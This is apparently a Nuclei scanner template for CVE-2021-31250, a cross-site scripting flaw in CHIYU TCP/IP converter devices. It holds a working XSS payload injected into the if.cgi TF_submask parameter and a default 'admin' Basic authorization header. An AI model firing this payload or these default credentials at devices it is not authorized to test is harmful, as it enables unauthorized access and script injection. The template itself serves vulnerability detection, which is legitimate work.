40 lines
1.4 KiB
YAML
40 lines
1.4 KiB
YAML
id: CVE-2021-31250
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info:
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name: CHIYU TCP/IP Converter - Cross-Site Scripting
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author: geeknik
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severity: medium
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description: CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
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reference:
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- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
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- https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
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- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31250
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2021-31250
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cwe-id: CWE-79
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tags: cve,cve2021,chiyu,xss,iot
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"
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headers:
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Authorization: "Basic OmFkbWlu"
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redirects: true
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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part: body
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words:
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- "\"><script>alert({{randstr}})</script>"
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# Enhanced by mp on 2022/08/28
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